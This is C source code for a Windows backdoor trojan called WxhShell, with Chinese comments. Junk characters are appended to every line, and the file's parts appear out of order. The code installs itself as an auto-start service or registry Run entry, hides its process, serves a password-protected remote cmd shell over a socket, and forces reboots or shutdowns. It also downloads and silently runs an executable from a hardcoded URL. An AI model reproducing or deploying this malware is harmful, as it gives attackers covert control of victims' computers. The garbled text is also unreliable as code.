    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y-%l7GErhL  
    if(Boot(SHUTDOWN))  mF*?e/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /h7>Z9T  
    else { Y*kh$E%<#  
    closesocket(wsh); qXU:A-IdIl  
    ExitThread(0); Z9"{f)T  
    } -y l4tW  
    break; KO-Zz&2f  
    } z[5Y Z~}*  
  // 获取shell [/AdeR  
  case 's': { k,;lyE  
    CmdShell(wsh); yul<n>X|  
    closesocket(wsh); 0r0\b*r  
    ExitThread(0); <t[Z9s$n  
    break; W>?f^C!+m  
  } F8uRT&m B0  
  // 退出 [>$\s=` h  
  case 'x': { . QQ?w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zL)1^[%O9  
    CloseIt(wsh); -t%{"y  
    break; Iuu<2#gb8"  
    } 4T==A#Z  
  // 离开 uG=t?C6  
  case 'q': { ^ J#?hHz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;/?Z<[B  
    closesocket(wsh); >}<29Ii  
    WSACleanup(); |t&G&)~:  
    exit(1); b:FEp'ZS  
    break; ot@|blVC8  
        } 3@PUg(M  
  } +p9LE4g7Q  
  } yD3bl%uZ  
,30FGz^i  
  // 提示信息 #.E\,N'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 24H^ hN9  
} B_SZ?o  
  } ?qf:_G  
L,C? gd@"  
  return; 3{Na ZIk  
} ]5} -y3  
i"%JFj_G  
// shell模块句柄 u Q[vgNe*m  
int CmdShell(SOCKET sock) wO^$!zB W  
{ i7S>RB  
STARTUPINFO si; .)i O Du  
ZeroMemory(&si,sizeof(si)); +=ZWau   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :"M9*XeHO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -Q<z1vz  
PROCESS_INFORMATION ProcessInfo; FF%\g J  
char cmdline[]="cmd"; OwG6i|q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +={  
  return 0; *F\T}k7  
} mJ0}DJiX$  
x[vpoB+c  
// 自身启动模式 g(-;_j!=  
int StartFromService(void) Ci]'G>F@"  
{ t MxsR >sH  
typedef struct F5FNhuC  
{ 0hrCG3k.91  
  DWORD ExitStatus; 0V<Aub[${  
  DWORD PebBaseAddress; i{TIm}_\  
  DWORD AffinityMask; Y3vX)D}  
  DWORD BasePriority; [NHg&R H  
  ULONG UniqueProcessId; D ?Nd; [  
  ULONG InheritedFromUniqueProcessId; vC{ h2A  
}   PROCESS_BASIC_INFORMATION; Q=d.y&4%  
a$C2}  
PROCNTQSIP NtQueryInformationProcess; ! 9d _Gf-  
{V}t'x`4c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mSU@UD|'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w+t#Yb\7  
1pd 9s8CA  
  HANDLE             hProcess; \bU`  
  PROCESS_BASIC_INFORMATION pbi; ~'NX~<m  
Gx.P ]O3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |w=Ec#)t4  
  if(NULL == hInst ) return 0; rpUy$qrRc  
Z8&4z.6_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <(fdHQD!7>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i~9?:plS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sB?2*S"X)<  
'#O;mBPNi  
  if (!NtQueryInformationProcess) return 0; *%:@ cbF-M  
p`d XqW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RG&I\DTyt  
  if(!hProcess) return 0; qv *3A?uzr  
-M6L.gi)oJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dw~[9oh  
N5m'To]  
  CloseHandle(hProcess);  BY3bpR  
w"{bp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %Nj #0YF]  
if(hProcess==NULL) return 0; cC' ~  
Vr 8:nP:  
HMODULE hMod; uM<|@`&b  
char procName[255]; 5Q`RTn%  
unsigned long cbNeeded; u+m4!`  
J7:9_/ e0T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (qUK7$  
F$i$a b  
  CloseHandle(hProcess); R<|ejw  
R\*)@[y9l  
if(strstr(procName,"services")) return 1; // 以服务启动 s2^B(wP  
sm1;MF]/u  
  return 0; // 注册表启动 [9OSpq  
} Dzr e'  
!n eo\  
// 主模块 s _~IZ%+<.  
int StartWxhshell(LPSTR lpCmdLine) A#(`9  
{ ur6e&bTp  
  SOCKET wsl; H8&p<=  
BOOL val=TRUE; A;,Dg=FL/  
  int port=0; L?8^aG  
  struct sockaddr_in door; j9:/RJS  
qbb6,DL7J  
  if(wscfg.ws_autoins) Install(); {SJsA)9:#  
)B;M  
port=atoi(lpCmdLine); +oZH?N4yaM  
b0 &  
if(port<=0) port=wscfg.ws_port; +Qs!Nhsq  
TiyUr [  
  WSADATA data; m2(E>raV6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \]8VwsP  
} ~F~hf>s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^LVk5l)\>g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Umz05*  
  door.sin_family = AF_INET; y@3Q;~l,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ePEe?o4;  
  door.sin_port = htons(port); :m K xa  
vM(Xip7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3rNc1\a;  
closesocket(wsl); T`\]!>eb  
return 1; L+.H z&*@  
} M\9F:.t=  
cvfUyp;P  
  if(listen(wsl,2) == INVALID_SOCKET) { IE;\7 r+h  
closesocket(wsl); Qs l80~n_7  
return 1; |n`PESf_  
} 8}BS2C%P  
  Wxhshell(wsl); 2bLI%gg3  
  WSACleanup(); ZVL gK}s  
>F[GVmC  
return 0; KQ{Lt?S  
a8Uk[^5  
} uE`r/=4  
{q,?<zBzu  
// 以NT服务方式启动 Qdu$Os  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vd (?$  
{ [jrqzB  
DWORD   status = 0; T@P!L  
  DWORD   specificError = 0xfffffff; N*_"8LIfi_  
>b48>@~bY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8eJE>g1J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,q#2:b<E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l^W uS|G[  
  serviceStatus.dwWin32ExitCode     = 0; MQ`%``  
  serviceStatus.dwServiceSpecificExitCode = 0; HCj> ,^<h  
  serviceStatus.dwCheckPoint       = 0; mI"D(bx\  
  serviceStatus.dwWaitHint       = 0; ` 1+%}}!$u  
w"8V0z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~}Z'0W)Q`z  
  if (hServiceStatusHandle==0) return; %(<(Y  
aGK@)&h$  
status = GetLastError(); xS8,W  
  if (status!=NO_ERROR) _TUm$#@Y`  
{ sbnjy"Z%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }pawIf4V  
    serviceStatus.dwCheckPoint       = 0; T SjI z5  
    serviceStatus.dwWaitHint       = 0; 3vW4<:Lgy  
    serviceStatus.dwWin32ExitCode     = status; :q (&$  
    serviceStatus.dwServiceSpecificExitCode = specificError; ',)7GY/n~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fF;h V  
    return; >zngJ$  
  } eT[&L @l]b  
%>zjGF<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ('hT  
  serviceStatus.dwCheckPoint       = 0; 6kR\xP]Kr  
  serviceStatus.dwWaitHint       = 0; SK R1E];4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %e? fH.)  
} Td hTQ  
0<.R A%dj  
// 处理NT服务事件,比如:启动、停止 "0Q1qZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O/b+CSS1  
{ C:i|-te  
switch(fdwControl) @i LIU}+  
{ "=A>}q@;H  
case SERVICE_CONTROL_STOP: }k7'"`#?"  
  serviceStatus.dwWin32ExitCode = 0; gXy -Mpzp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gU;&$  
  serviceStatus.dwCheckPoint   = 0; ss iokLE  
  serviceStatus.dwWaitHint     = 0; V.=lGhi  
  { 0L#/lDNk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2K{6iw"h  
  } uMmXs% 9T  
  return; <f>akT,W  
case SERVICE_CONTROL_PAUSE: M%`\P\A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wC CV2tk  
  break; u0 y 1  
case SERVICE_CONTROL_CONTINUE: 2@khSWV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4kl Ao$  
  break; X`JV R"=4  
case SERVICE_CONTROL_INTERROGATE: ?*u*de[,  
  break; S6D^3n  
}; gl7|H&&xV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hd &{d+B  
} C6  "  
,6,]#R :J  
// 标准应用程序主函数 l]6% lud8_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _}gtcyx  
{ v }\,o%t^  
*%gF2@=r8F  
// 获取操作系统版本 )rm4cW_  
OsIsNt=GetOsVer(); Or0O/\D)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M.[rLJZ4  
EWj gI_-  
  // 从命令行安装 "%6/a7S  
  if(strpbrk(lpCmdLine,"iI")) Install(); V/%~F6e  
V diJ>d[  
  // 下载执行文件 #FH[hRo=6  
if(wscfg.ws_downexe) { "r'ozf2 \  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |E)aT#$f'  
  WinExec(wscfg.ws_filenam,SW_HIDE); \Qy$I-Du  
} ",Cr,;]  
PXk?aJ  
if(!OsIsNt) { !L24+$  
// 如果时win9x,隐藏进程并且设置为注册表启动 ej(ikj~j  
HideProc(); <AoXEu D  
StartWxhshell(lpCmdLine); @n+=vC.xO  
} ?cy4&]s  
else @It>*B yB.  
  if(StartFromService()) #,NvO!j<4  
  // 以服务方式启动 #& ?g %'  
  StartServiceCtrlDispatcher(DispatchTable); Jkt4@h2Q}  
else 6iA( o*'Yn  
  // 普通方式启动 "Cz<d w]D  
  StartWxhshell(lpCmdLine); "TOa=Tt{,  
kg97S  
return 0; :iF%cy.  
} gm)@c2?.  
G }nO@  
t18$x "\4k  
`3_lI~=eH  
=========================================== CH#k(sy  
f 2YLk  
bBc-^  
YN/ }9.  
ipE ]}0q  
<wd]D@l7r  
" +9;2xya2  
fS&6  
#include <stdio.h> X[yNFW}S2W  
#include <string.h> na+d;h*~y  
#include <windows.h> 9i q""  
#include <winsock2.h> #]Y>KX2HG  
#include <winsvc.h> mN_Z7n;^eh  
#include <urlmon.h> c3TKl/  
G&f8n  
#pragma comment (lib, "Ws2_32.lib") 4Y\wnwI  
#pragma comment (lib, "urlmon.lib") <n"C,  
Nf41ZT~  
#define MAX_USER   100 // 最大客户端连接数 ""iaGH+Cxw  
#define BUF_SOCK   200 // sock buffer Vr.Y/3N&'  
#define KEY_BUFF   255 // 输入 buffer dtt~ Bd  
cC{"<fYF  
#define REBOOT     0   // 重启 0%`4px4J  
#define SHUTDOWN   1   // 关机 V@-)\RZm  
;3eKqr0  
#define DEF_PORT   5000 // 监听端口 }f}}A=  
%kshQ%P)?  
#define REG_LEN     16   // 注册表键长度 Q>< 0[EPj3  
#define SVC_LEN     80   // NT服务名长度 <.K4JlbT  
9LJZ-/Wq  
// 从dll定义API YX*x&5]lq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8+Llx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oXsL9,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sBX-X$*N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iUk-'   
_i0kc,*C\  
// wxhshell配置信息 _l`e#XbG  
struct WSCFG { 6A R2htN^  
  int ws_port;         // 监听端口 q!~ -(&S  
  char ws_passstr[REG_LEN]; // 口令 a?h*eAAc.  
  int ws_autoins;       // 安装标记, 1=yes 0=no Hh;:`;}  
  char ws_regname[REG_LEN]; // 注册表键名 gY-5_Ab  
  char ws_svcname[REG_LEN]; // 服务名 7r# ymQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \c,pEXG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DL^o_61  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _f0C Y"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HeGY u?&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6?tlU>A2s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 68fiG  
G"5D< ]  
}; Lo.rvt  
am1[9g8L  
// default Wxhshell configuration x\e;+ubt}  
struct WSCFG wscfg={DEF_PORT, J5Z%ImiT^O  
    "xuhuanlingzhe", ^ <`(lyph  
    1, Jb_1LZ) ]  
    "Wxhshell", CK+d!Eg  
    "Wxhshell", K kW;-{c  
            "WxhShell Service", -7H^n#]  
    "Wrsky Windows CmdShell Service", EI>l-N2  
    "Please Input Your Password: ", ?tdd3ai>  
  1, BimjQ;jtI  
  "http://www.wrsky.com/wxhshell.exe", a 3SlxsWW  
  "Wxhshell.exe" F'}'(t+oAm  
    }; 7R.Q Ql  
EI~"L$?  
// 消息定义模块 .jw}JJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {]*x*aa\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !`JHH&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aVs(EHF  
char *msg_ws_ext="\n\rExit."; T  VmH  
char *msg_ws_end="\n\rQuit."; ^[E' 1$D  
char *msg_ws_boot="\n\rReboot..."; Ox!U8g8c  
char *msg_ws_poff="\n\rShutdown..."; lH^^77"4Qo  
char *msg_ws_down="\n\rSave to "; %.v{N6  
DhLqhME53  
char *msg_ws_err="\n\rErr!"; sAn0bX  
char *msg_ws_ok="\n\rOK!"; w>fdQ!RdP  
/PBaIoJE  
char ExeFile[MAX_PATH]; eK_*2=;XRW  
int nUser = 0; #t8{R~y"gv  
HANDLE handles[MAX_USER]; n%^ LPD  
int OsIsNt; Gc]~w D$  
wm{3&m  
SERVICE_STATUS       serviceStatus; -ezY= 0Q&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B5V_e!*5F*  
WF&[HKOy/  
// 函数声明 ^efb 5  
int Install(void); O%~jop7# 6  
int Uninstall(void); `vG,}Pt]  
int DownloadFile(char *sURL, SOCKET wsh); d,vNem-Z*L  
int Boot(int flag); h}_~y'^!  
void HideProc(void); ?<&O0'Q  
int GetOsVer(void);  kqYa*| l  
int Wxhshell(SOCKET wsl); \6?A!w~6  
void TalkWithClient(void *cs); #o/ H~Iv  
int CmdShell(SOCKET sock); 5Z/GK2[HL  
int StartFromService(void); hRI"y":zD  
int StartWxhshell(LPSTR lpCmdLine); >7`<!YJkK  
=o}"jVE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nMfFH[I4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /v|"0  
UUKP"  
// 数据结构和表定义 LH 3}d<{  
SERVICE_TABLE_ENTRY DispatchTable[] = p9U?!L!y  
{ r=/;iH?UH  
{wscfg.ws_svcname, NTServiceMain}, aJL^AG  
{NULL, NULL} AsS$C&^  
}; r)9Dy,  
unJid8Lo  
// 自我安装 87%*+n:?*  
int Install(void) YIt& >  
{ Md6]R-l@  
  char svExeFile[MAX_PATH]; {Sl57!U5  
  HKEY key; OdWou|Gz  
  strcpy(svExeFile,ExeFile); xqXDxJlns  
t>GfM  
// 如果是win9x系统,修改注册表设为自启动 q+ KzIde|%  
if(!OsIsNt) { +MbIB&fRCB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'bGX-C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); > oA? 6x  
  RegCloseKey(key); &C im!I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \$aF&r<R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _zt1 9%Wg  
  RegCloseKey(key); - K%,^6  
  return 0; k%wn0Erd  
    } Xtz-\v#0o'  
  } KTvzOI8  
} &mj6rIz  
else { hUQ,z7-  
CycUeT  
// 如果是NT以上系统,安装为系统服务 I1X /Lj=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M<SdPC(+  
if (schSCManager!=0) &1l=X]%  
{ IKMeJ(:S  
  SC_HANDLE schService = CreateService #j#_cImE  
  ( |py6pek|  
  schSCManager, uPYmHA} _/  
  wscfg.ws_svcname, gj\)CBOv  
  wscfg.ws_svcdisp, q#Zs\PD  
  SERVICE_ALL_ACCESS, ZvYLL{>}w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j*e6 vX  
  SERVICE_AUTO_START, mNf8kwr  
  SERVICE_ERROR_NORMAL, pME{jD  
  svExeFile, ZKQ hbNT  
  NULL, bWl5(S` Z  
  NULL, 4L-:*b_v\  
  NULL, L- pVltX  
  NULL, xvzr:p P  
  NULL -yGDh+-  
  ); ,*4p?|A  
  if (schService!=0) ZT02"3F  
  { 1:NrP'W^  
  CloseServiceHandle(schService); =NbI%  
  CloseServiceHandle(schSCManager); a9n^WOJ6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qQpnLV4  
  strcat(svExeFile,wscfg.ws_svcname); (>mI'!4d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t E` cau  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :Ih|en^w  
  RegCloseKey(key); y@j,a  
  return 0; ) xbO6V  
    } Tu{h<Zy  
  } )!g{Sbl  
  CloseServiceHandle(schSCManager); EF pIp4_Y  
} #-3=o6DCK  
} "'g[1Li  
J};z85B  
return 1; 2<&Bw2  
} -p-B2?)A  
`X,yM-(  
// 自我卸载 rC:?l(8ng3  
int Uninstall(void) L,d LE-L  
{ TI9UXa:V\  
  HKEY key; w ;daC(:  
hYQ_45Z*?  
if(!OsIsNt) { *A}cL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g }laG8  
  RegDeleteValue(key,wscfg.ws_regname); st"{M\.p  
  RegCloseKey(key); Oz|K8p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 79\Jx iSB  
  RegDeleteValue(key,wscfg.ws_regname); :16P.z1L  
  RegCloseKey(key); Z5c~^jL$-  
  return 0; /h v4x9  
  } k3+e;[My+  
} >7!6nF3x,  
} tb :L\A^:  
else { %Pksv}  
l5+gsEux]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); izKfU?2]X@  
if (schSCManager!=0) t_ksvWUo  
{ _k^0m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q]rD}Ckv-  
  if (schService!=0) b 1&i#I?{  
  { K^_i%~  
  if(DeleteService(schService)!=0) { 9]t[J_YM  
  CloseServiceHandle(schService); BmHwu{n'  
  CloseServiceHandle(schSCManager); tO_H!kP  
  return 0; "Jjs"7  
  } zEZLKWm9-  
  CloseServiceHandle(schService); 0!z@2[Pe66  
  } 0Ok,oW {  
  CloseServiceHandle(schSCManager); & c Ny  
} Mv c`)_Md  
} pfx3C*  
 0l;<5  
return 1; H+ h07\? %  
} R<i38/ ~G  
8Ld:"Y#  
// 从指定url下载文件 D>Gt]s  
int DownloadFile(char *sURL, SOCKET wsh) !v]b(z`Y  
{ %{6LUn  
  HRESULT hr; ^m_yf|D$  
char seps[]= "/"; %4 \OPw&  
char *token; 9WJz~SP+vR  
char *file; E~<`/s  
char myURL[MAX_PATH]; IrMl:+t\  
char myFILE[MAX_PATH]; RE.r4uOJg  
9Lh|DK,nV/  
strcpy(myURL,sURL); Le"oAA#[  
  token=strtok(myURL,seps); syip;;  
  while(token!=NULL) lnE+Au'  
  { -@>BHC  
    file=token; < j$#9QQ1  
  token=strtok(NULL,seps); "RVcA",  
  } X7L8h'(@  
OT^%3:zg  
GetCurrentDirectory(MAX_PATH,myFILE); B3Jgd,[  
strcat(myFILE, "\\"); *5<Sr q'  
strcat(myFILE, file); 9 2MTX Osp  
  send(wsh,myFILE,strlen(myFILE),0); ?Qb<-~~ j1  
send(wsh,"...",3,0); Th`skK&U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =h(W4scgqX  
  if(hr==S_OK) bqanFQj  
return 0; uP\lCqK,  
else yT{8d.Rh  
return 1;  Av0y?oGH  
&'l>rD^o  
} ]d[ge6  
}HEvr)v9  
// 系统电源模块 g+-;J+X8  
int Boot(int flag) {{C`mgC  
{ /v095H@  
  HANDLE hToken; "^I mb,  
  TOKEN_PRIVILEGES tkp; @H!$[m3  
B12$I:x`  
  if(OsIsNt) { ]a2W e`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g~UUP4<$"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;M]C1!D9#  
    tkp.PrivilegeCount = 1; +.RKi !  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >pkT1Z&'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sBv>E}*R  
if(flag==REBOOT) { nS()u}c;r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Gamr6I"K  
  return 0; cNzt%MjP  
} wOB azWa   
else { J==SZ v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hVj NZ  
  return 0; ~f|Z%&l|  
} ?}Z1(it0  
  } \b[9ebME  
  else { hP J4Oj1O  
if(flag==REBOOT) { 0oy-os  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O7']  
  return 0; u6:pV.p  
} 1 4 LI5T  
else { `"vZ);i <  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,? E&V_5  
  return 0; `SO|zz|'  
} n(~\l#o@  
} G ;?qWB,  
_<ut)G^9  
return 1; PR<||"03  
} bIt=v)%$  
#G9 ad K5  
// win9x进程隐藏模块 G;gJNK"e  
void HideProc(void) w^K^I_2ge  
{ &PcyKpyd  
elJ)4Em  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `h;k2Se5  
  if ( hKernel != NULL ) FDR1 Gy  
  { ]43[6Im  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dsK&U\ej}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xChI ,~i  
    FreeLibrary(hKernel); lA>\Ko  
  } j:5%ppIY  
,1Qd\8N9  
return; 31Cq22"  
} {5c]Mn"r  
N#N0Q0W=  
// 获取操作系统版本 X7UBopm&  
int GetOsVer(void) E jEFg#q  
{ <<MjC5  
  OSVERSIONINFO winfo; I 5ag6l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _i}wK?n  
  GetVersionEx(&winfo); L{ gE'jCC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,xJrXPW  
  return 1; n)8Yj/5  
  else D-9\~gvh  
  return 0; [n,?WwC  
} "$p#&W69"J  
~7quTp)  
// 客户端句柄模块 Vu0 KtG9  
int Wxhshell(SOCKET wsl) Q/_[--0&#  
{ dAx96Og:X"  
  SOCKET wsh; ]pTvMom$6  
  struct sockaddr_in client; #i QX 6WF  
  DWORD myID; crA :I"I  
QhGXBM  
  while(nUser<MAX_USER) `ia %)@  
{ Bt^K]F\  
  int nSize=sizeof(client); ~>ME'D~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {I%y;Aab8  
  if(wsh==INVALID_SOCKET) return 1; jigs6#  
Iyk6=&?j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LR)& [{Kk  
if(handles[nUser]==0) U` R;P-  
  closesocket(wsh); Ru%|}sfd  
else `ZHP1uQ<  
  nUser++; <v]9lw'  
  } 4h 5_M8I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \Z)1 ?fq  
^Uw[x\%#gD  
  return 0; p|6v~  
} ~JZ3a0$^  
l_FGZ!7  
// 关闭 socket  SVP:D3)  
void CloseIt(SOCKET wsh) \Z5 +$Ij  
{ )&NAs  
closesocket(wsh); t\U$8l_;  
nUser--; :x>T}C<Y  
ExitThread(0); #Olg(:\  
} <SXZx9A!  
+Al>2~  
// 客户端请求句柄 =7[)'  
void TalkWithClient(void *cs) vM0_>1nN  
{ .e[Tu|qo  
eVy2|n9rH  
  SOCKET wsh=(SOCKET)cs; ft5DU/%  
  char pwd[SVC_LEN]; f|0lj   
  char cmd[KEY_BUFF]; I{.HO<$7D}  
char chr[1]; Uf,fX/:!  
int i,j; J2Et-Cz1  
Y'm=etE  
  while (nUser < MAX_USER) { H~+xB1  
* UcjQ  
if(wscfg.ws_passstr) { vx0UoKX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); go|>o5!g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cFfTYP9  
  //ZeroMemory(pwd,KEY_BUFF); UKB_Yy^Y  
      i=0; P 15:,9D  
  while(i<SVC_LEN) { &H;8QZ8uw  
`bgb*Yaod  
  // 设置超时 ;i)KHj'  
  fd_set FdRead; 2/Nq'  
  struct timeval TimeOut; 3l:XhLOj  
  FD_ZERO(&FdRead); 4KIWb~0Y  
  FD_SET(wsh,&FdRead); 1 tfYsg=O  
  TimeOut.tv_sec=8; N)OCSeh  
  TimeOut.tv_usec=0; f'/ KMe%<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2ChWe}f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /5a;_  
tjzA)/T,4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }OKL z.5  
  pwd=chr[0]; XCPb9<L  
  if(chr[0]==0xd || chr[0]==0xa) { '"O&J}s;  
  pwd=0; T&}Ye\%  
  break; V:^H4WvL\W  
  } 9`X&,S~e  
  i++; N=fz/CD)I  
    } Bhuw(KeB  
8]*Q79  
  // 如果是非法用户,关闭 socket =y;@?=T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 19y 0$e_V  
} OXtBJYe  
B3b,F#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `ut)+T V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }brr ) )  
_ VKgs]Y  
while(1) { edN8-P(  
z-Hkz  
  ZeroMemory(cmd,KEY_BUFF); (&Q)EBdm  
H1UL.g%d=  
      // 自动支持客户端 telnet标准   Z`xyb>$  
  j=0; gduxA/aT  
  while(j<KEY_BUFF) { QWhp:] }  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uB+9dQ  
  cmd[j]=chr[0]; QT}iaeC1i  
  if(chr[0]==0xa || chr[0]==0xd) { &-F"+v,+  
  cmd[j]=0; *,jqE9:O  
  break; 5Bj77?Z  
  } MSB%{7'o  
  j++; x-~-nn\O  
    } pI^=B-7  
nZW4}~0j  
  // 下载文件 >\\5"S f  
  if(strstr(cmd,"http://")) { Vu|dV\N0*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7+8bL{  
  if(DownloadFile(cmd,wsh)) XARSGAuw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Rn:G K  
  else  z\$;'  
